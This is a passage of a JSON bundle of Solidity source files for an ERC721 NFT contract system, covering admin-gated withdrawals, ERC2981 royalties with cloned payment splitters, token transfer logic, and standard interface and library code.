true;\n\n emit ContractSigned(expectedSigner, expectedSaltedHash, signature_);\n }\n}"
},
"contracts/utils/Withdrawable.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"./RejectEther.sol\";\nimport \"./NiftyPermissions.sol\";\nimport \"../interfaces/IERC20.sol\";\nimport \"../interfaces/IERC721.sol\";\n\nabstract contract Withdrawable is RejectEther, NiftyPermissions {\n\n /**\n * @dev Slither identifies an issue with sending ETH to an arbitrary destianation.\n * https://github.com/crytic/slither/wiki/Detector-Documentation#functions-that-send-ether-to-arbitrary-destinations\n * Recommended mitigation is to \"Ensure that an arbitrary user cannot withdraw unauthorized funds.\"\n * This mitigation has been performed, as only the contract admin can call 'withdrawETH' and they should\n * verify the recipient should receive the ETH first.\n */\n function withdrawETH(address payable recipient, uint256 amount) external {\n _requireOnlyValidSender();\n require(amount > 0, ERROR_ZERO_ETH_TRANSFER);\n require(recipient != address(0), \"Transfer to zero address\");\n\n uint256 currentBalance = address(this).balance;\n require(amount <= currentBalance, ERROR_INSUFFICIENT_BALANCE);\n\n //slither-disable-next-line arbitrary-send \n (bool success,) = recipient.call{value: amount}(\"\");\n require(success, ERROR_WITHDRAW_UNSUCCESSFUL);\n }\n \n function withdrawERC20(address tokenContract, address recipient, uint256 amount) external {\n _requireOnlyValidSender();\n bool success = IERC20(tokenContract).transfer(recipient, amount);\n require(success, ERROR_WITHDRAW_UNSUCCESSFUL);\n }\n \n function withdrawERC721(address tokenContract, address recipient, uint256 tokenId) external {\n _requireOnlyValidSender();\n IERC721(tokenContract).safeTransferFrom(address(this), recipient, tokenId, \"\");\n } \n}"
},
"contracts/utils/Royalties.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"./NiftyPermissions.sol\";\nimport \"../libraries/Clones.sol\";\nimport \"../interfaces/IERC20.sol\";\nimport \"../interfaces/IERC721.sol\";\nimport \"../interfaces/IERC2981.sol\";\nimport \"../interfaces/ICloneablePaymentSplitter.sol\";\nimport \"../structs/RoyaltyRecipient.sol\";\n\nabstract contract Royalties is NiftyPermissions, IERC2981 {\n\n event RoyaltyReceiverUpdated(uint256 indexed niftyType, address previousReceiver, address newReceiver);\n\n uint256 constant public BIPS_PERCENTAGE_TOTAL = 10000;\n\n // Royalty information mapped by nifty type\n mapping (uint256 => RoyaltyRecipient) internal royaltyRecipients;\n\n function supportsInterface(bytes4 interfaceId) public view virtual override(NiftyPermissions, IERC165) returns (bool) {\n return\n interfaceId == type(IERC2981).interfaceId || \n super.supportsInterface(interfaceId);\n }\n\n function getRoyaltySettings(uint256 niftyType) public view returns (RoyaltyRecipient memory) {\n return royaltyRecipients[niftyType];\n }\n \n function setRoyaltyBips(uint256 niftyType, uint256 bips) external {\n _requireOnlyValidSender();\n require(bips <= BIPS_PERCENTAGE_TOTAL, ERROR_BIPS_OVER_100_PERCENT);\n royaltyRecipients[niftyType].bips = uint16(bips);\n }\n \n function royaltyInfo(uint256 tokenId, uint256 salePrice) public virtual override view returns (address, uint256) { \n uint256 niftyType = _getNiftyType(tokenId); \n return royaltyRecipients[niftyType].recipient == address(0) ? \n (address(0), 0) :\n (royaltyRecipients[niftyType].recipient, (salePrice * royaltyRecipients[niftyType].bips) / BIPS_PERCENTAGE_TOTAL);\n } \n\n function initializeRoyalties(uint256 niftyType, address splitterImplementation, address[] calldata payees, uint256[] calldata shares) external returns (address) {\n _requireOnlyValidSender(); \n address previousReceiver = royaltyRecipients[niftyType].recipient; \n royaltyRecipients[niftyType].isPaymentSplitter = payees.length > 1;\n royaltyRecipients[niftyType].recipient = payees.length == 1 ? payees[0] : _clonePaymentSplitter(splitterImplementation, payees, shares); \n emit RoyaltyReceiverUpdated(niftyType, previousReceiver, royaltyRecipients[niftyType].recipient); \n return royaltyRecipients[niftyType].recipient;\n } \n\n function getNiftyType(uint256 tokenId) public view returns (uint256) {\n return _getNiftyType(tokenId);\n } \n\n function getPaymentSplitterByNiftyType(uint256 niftyType) public virtual view returns (address) {\n return _getPaymentSplitter(niftyType);\n }\n\n function getPaymentSplitterByTokenId(uint256 tokenId) public virtual view returns (address) {\n return _getPaymentSplitter(_getNiftyType(tokenId));\n } \n\n function _getNiftyType(uint256 tokenId) internal virtual view returns (uint256) { \n return 0;\n }\n\n function _clonePaymentSplitter(address splitterImplementation, address[] calldata payees, uint256[] calldata shares_) internal returns (address) {\n require(IERC165(splitterImplementation).supportsInterface(type(ICloneablePaymentSplitter).interfaceId), ERROR_UNCLONEABLE_REFERENCE_CONTRACT);\n address clone = payable (Clones.clone(splitterImplementation));\n ICloneablePaymentSplitter(clone).initialize(payees, shares_); \n return clone;\n }\n\n function _getPaymentSplitter(uint256 niftyType) internal virtual view returns (address) { \n return royaltyRecipients[niftyType].isPaymentSplitter ? royaltyRecipients[niftyType].recipient : address(0); \n }\n}"
},
"contracts/tokens/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"./ERC721Errors.sol\";\nimport \"../interfaces/IERC721.sol\";\nimport \"../interfaces/IERC721Receiver.sol\";\nimport \"../interfaces/IERC721Metadata.sol\";\nimport \"../interfaces/IERC721Cloneable.sol\";\nimport \"../libraries/Address.sol\";\nimport \"../libraries/Context.sol\";\nimport \"../libraries/Strings.sol\";\nimport \"../utils/ERC165.sol\";\nimport \"../utils/GenericErrors.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\nabstract contract ERC721 is Context, ERC165, ERC721Errors, GenericErrors, IERC721Metadata, IERC721Cloneable {\n using Address for address;\n using Strings for uint256;\n\n // Only allow ERC721 to be initialized once\n bool internal initializedERC721;\n\n // Token name\n string internal tokenName;\n\n // Token symbol\n string internal tokenSymbol;\n\n // Base URI For Offchain Metadata\n string internal baseMetadataURI; \n\n // Mapping from token ID to owner address\n mapping(uint256 => address) internal owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) internal balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) internal tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) internal operatorApprovals; \n\n function initializeERC721(string memory name_, string memory symbol_, string memory baseURI_) public override {\n require(!initializedERC721, ERROR_REINITIALIZATION_NOT_PERMITTED);\n tokenName = name_;\n tokenSymbol = symbol_;\n _setBaseURI(baseURI_);\n initializedERC721 = true;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n interfaceId == type(IERC721Cloneable).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */ \n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), ERROR_QUERY_FOR_ZERO_ADDRESS);\n return balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = owners[tokenId];\n require(owner != address(0), ERROR_QUERY_FOR_NONEXISTENT_TOKEN);\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */ \n function name() public view virtual override returns (string memory) {\n return tokenName;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */ \n function symbol() public view virtual override returns (string memory) {\n return tokenSymbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */ \n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n require(_exists(tokenId), ERROR_QUERY_FOR_NONEXISTENT_TOKEN);\n\n string memory uriBase = baseURI();\n return bytes(uriBase).length > 0 ? string(abi.encodePacked(uriBase, tokenId.toString())) : \"\";\n }\n\n function baseURI() public view virtual returns (string memory) {\n return baseMetadataURI;\n }\n\n /**\n * @dev Storefront-level metadata for contract\n */\n function contractURI() public view virtual returns (string memory) {\n string memory uriBase = baseURI();\n return bytes(uriBase).length > 0 ? string(abi.encodePacked(uriBase, \"contract-metadata\")) : \"\";\n }\n\n /**\n * @dev Internal function to set the base URI\n */\n function _setBaseURI(string memory uri) internal {\n baseMetadataURI = uri; \n }\n\n /**\n * @dev See {IERC721-approve}.\n */ \n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ownerOf(tokenId);\n require(to != owner, ERROR_APPROVAL_TO_CURRENT_OWNER);\n\n require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), ERROR_NOT_OWNER_NOR_APPROVED);\n\n _approve(owner, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */ \n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n require(_exists(tokenId), ERROR_QUERY_FOR_NONEXISTENT_TOKEN);\n return tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */ \n function setApprovalForAll(address operator, bool approved) public virtual override {\n require(operator != _msgSender(), ERROR_APPROVE_TO_CALLER);\n operatorApprovals[_msgSender()][operator] = approved;\n emit ApprovalForAll(_msgSender(), operator, approved); \n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */ \n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */ \n function transferFrom(address from, address to, uint256 tokenId) public virtual override { \n (address owner, bool isApprovedOrOwner) = _isApprovedOrOwner(_msgSender(), tokenId);\n require(isApprovedOrOwner, ERROR_NOT_OWNER_NOR_APPROVED);\n _transfer(owner, from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */ \n function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */ \n function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual override {\n transferFrom(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), ERROR_NOT_AN_ERC721_RECEIVER);\n } \n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */ \n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (address owner, bool isApprovedOrOwner) {\n owner = owners[tokenId];\n require(owner != address(0), ERROR_QUERY_FOR_NONEXISTENT_TOKEN);\n isApprovedOrOwner = (spender == owner || tokenApprovals[tokenId] == spender || isApprovedForAll(owner, spender));\n } \n \n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ownerOf(tokenId);\n bool isApprovedOrOwner = (_msgSender() == owner || tokenApprovals[tokenId] == _msgSender() || isApprovedForAll(owner, _msgSender()));\n require(isApprovedOrOwner, ERROR_NOT_OWNER_NOR_APPROVED);\n\n // Clear approvals \n _clearApproval(owner, tokenId);\n\n balances[owner] -= 1;\n _clearOwnership(tokenId);\n\n emit Transfer(owner, address(0), tokenId);\n } \n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(address owner, address from, address to, uint256 tokenId) internal virtual {\n require(owner == from, ERROR_TRANSFER_FROM_INCORRECT_OWNER);\n require(to != address(0), ERROR_TRANSFER_TO_ZERO_ADDRESS); \n\n // Clear approvals from the previous owner \n _clearApproval(owner, tokenId);\n\n balances[from] -= 1;\n balances[to] += 1;\n _setOwnership(to, tokenId);\n \n emit Transfer(from, to, tokenId); \n }\n\n /**\n * @dev Equivalent to approving address(0), but more gas efficient\n *\n * Emits a {Approval} event.\n */\n function _clearApproval(address owner, uint256 tokenId) internal virtual {\n delete tokenApprovals[tokenId];\n emit Approval(owner, address(0), tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits a {Approval} event.\n */\n function _approve(address owner, address to, uint256 tokenId) internal virtual {\n tokenApprovals[tokenId] = to;\n emit Approval(owner, to, tokenId);\n } \n\n function _clearOwnership(uint256 tokenId) internal virtual {\n delete owners[tokenId];\n }\n\n function _setOwnership(address to, uint256 tokenId) internal virtual {\n owners[tokenId] = to;\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param _data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n *\n * @dev Slither identifies an issue with unused return value.\n * Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return\n * This should be a non-issue. It is the standard OpenZeppelin implementation which has been heavily used and audited.\n */ \n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal returns (bool) {\n if (to.isContract()) { \n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(ERROR_NOT_AN_ERC721_RECEIVER);\n } else { \n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n } \n}"
},
"contracts/tokens/ERC721Errors.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nabstract contract ERC721Errors {\n string internal constant ERROR_QUERY_FOR_ZERO_ADDRESS = \"Query for zero address\";\n string internal constant ERROR_QUERY_FOR_NONEXISTENT_TOKEN = \"Token does not exist\";\n string internal constant ERROR_APPROVAL_TO_CURRENT_OWNER = \"Current owner approval\";\n string internal constant ERROR_APPROVE_TO_CALLER = \"Approve to caller\";\n string internal constant ERROR_NOT_OWNER_NOR_APPROVED = \"Not owner nor approved\";\n string internal constant ERROR_NOT_AN_ERC721_RECEIVER = \"Not an ERC721Receiver\";\n string internal constant ERROR_TRANSFER_FROM_INCORRECT_OWNER = \"Transfer from incorrect owner\";\n string internal constant ERROR_TRANSFER_TO_ZERO_ADDRESS = \"Transfer to zero address\"; \n string internal constant ERROR_ALREADY_MINTED = \"Token already minted\"; \n string internal constant ERROR_NO_TOKENS_MINTED = \"No tokens minted\"; \n}"
},
"contracts/interfaces/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}"
},
"contracts/interfaces/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}"
},
"contracts/interfaces/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"./IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}"
},
"contracts/interfaces/IERC721Cloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"./IERC721.sol\";\n\ninterface IERC721Cloneable is IERC721 {\n function initializeERC721(string calldata name_, string calldata symbol_, string calldata baseURI_) external; \n}"
},
"contracts/libraries/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}"
},
"contracts/libraries/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}"
},
"contracts/libraries/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n}"
},
"contracts/utils/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.9;\n\nimport \"../interfaces/IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}"
},
"contracts/utils/GenericErrors.sol": {
